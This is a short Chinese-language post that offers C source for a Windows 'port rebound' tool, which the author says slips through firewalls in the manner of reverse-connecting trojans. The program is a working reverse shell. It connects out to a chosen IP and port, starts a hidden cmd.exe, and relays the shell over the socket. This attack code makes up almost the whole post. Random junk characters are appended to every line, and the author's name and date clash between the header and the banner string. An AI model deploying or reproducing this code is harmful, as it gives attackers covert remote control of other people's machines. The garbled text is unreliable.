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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 S{~j5tQv^q  
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/* ============================== <##aD3)  
Rebound port in Windows NT R-\"^BV#Z  
By wind,2006/7 > V@,K z1  
===============================*/ /O$)m[  
#include NqN9  
#include  w1t0X{  
jq+:&8!8(e  
#pragma comment(lib,"wsock32.lib") 1i$OcN?x%  
TK#-;p_  
void OutputShell(); Oz.Zxw  
SOCKET sClient; \LDcIK=  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; oX[I4i%G  
(9!kKMQW'  
void main(int argc,char **argv) :$oiP  
{ s *<T5Z  
WSADATA stWsaData; O9)k)A]`O  
int nRet; * 9}~?#b  
SOCKADDR_IN stSaiClient,stSaiServer; Ky'\t7p u  
7x`4P|Uu  
if(argc != 3) ,+RoJwi m  
{ ,CnUQx0  
printf("Useage:\n\rRebound DestIP DestPort\n"); f2{qj5 K  
return; SrXuiiK  
} 6bt{j   
v5`Odbc=w  
WSAStartup(MAKEWORD(2,2),&stWsaData); ^s?i&K,!  
A*3R@G*h  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3hNb ?  
:n(!,  
stSaiClient.sin_family = AF_INET; X]t *  
stSaiClient.sin_port = htons(0); )jN fQ!?/  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); edh<L/%D  
'5n=tRx  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) JLV?n,nF  
{ NKw}VW'|  
printf("Bind Socket Failed!\n"); OGU#%5"<  
return; lV2MRxI  
} I,!>ZG@6  
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stSaiServer.sin_family = AF_INET; \fD[Ej  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 1V1T1  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); F6#U31Q=  
'#x<Fo~hT  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) =DXvt5G  
{ DR#[\RzNI  
printf("Connect Error!"); ? 8)$N  
return; Dv+:d4|"  
} 8^dsx1U#  
OutputShell(); z50f$!?  
} *g/@-6  
2E}^'o  
void OutputShell() =;HmU.Uek%  
{ @5(HRd  
char szBuff[1024]; `pd1'5Hm  
SECURITY_ATTRIBUTES stSecurityAttributes; ;V3d"@R,  
OSVERSIONINFO stOsversionInfo; -qRO}EF  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ' k[gxk|d2  
STARTUPINFO stStartupInfo; X+XbIbUuL  
char *szShell; ;^:$O6J7T~  
PROCESS_INFORMATION stProcessInformation; ]j?Kn$nv*S  
unsigned long lBytesRead; @;@Wt`(2a  
Li\BRlebR{  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 1_.#'U>  
MOW {g\{\  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); wH[}@w  
stSecurityAttributes.lpSecurityDescriptor = 0; - dt<w;>W  
stSecurityAttributes.bInheritHandle = TRUE; oJTsrc_ -  
Q CB~x2C  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); H@WQO]P A  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); QabYkL5@  
j>OB<4?.+  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); v;@-bED(Qs  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; XS/5y(W  
stStartupInfo.wShowWindow = SW_HIDE; da&f0m U  
stStartupInfo.hStdInput = hReadPipe; #`H^8/!e  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe;  g8_IZ(%:  
h/%Hk;|9  
GetVersionEx(&stOsversionInfo); o(@F37r{?  
l?%U*~*  
switch(stOsversionInfo.dwPlatformId) !Rw\k'<GKX  
{ (&u)F B*  
case 1: m=< ;)  
szShell = "command.com"; XL7jUi_4:L  
break; n`hes_{,g  
default: s~6irf/  
szShell = "cmd.exe"; 5K*-)F ]  
break; wfrWpz=FO  
} -m~[z  
4x:Odt5  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); &j7l#Urq  
4q<:% 0M|  
send(sClient,szMsg,77,0); jP";ll|c  
while(1) xQhvs=Zm]  
{ X7]vXo*  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); %R{clbbbn  
if(lBytesRead) :Y[r^=>  
{ 7>m#Y'ppl@  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 7M1*SC  
send(sClient,szBuff,lBytesRead,0); T<0Bq"'%  
} :q4 Mnr  
else ;G3{ e  
{ `v)-v<  
lBytesRead=recv(sClient,szBuff,1024,0); J)n g,i  
if(lBytesRead<=0) break; *{)![pDYd  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); !2N#H~{  
} +:d))r=n  
} Om0S^4y]x  
VMW ?[j  
return; ;.h5; `&  
}
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